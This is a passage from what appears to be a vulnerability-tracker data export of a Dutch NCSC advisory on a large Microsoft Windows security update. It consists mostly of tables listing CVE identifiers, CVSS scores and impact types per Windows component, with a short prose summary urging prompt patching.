\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:27.605321Z"}, {"uuid": "35037b98-cb26-4944-bc20-372827e219a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48572", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | 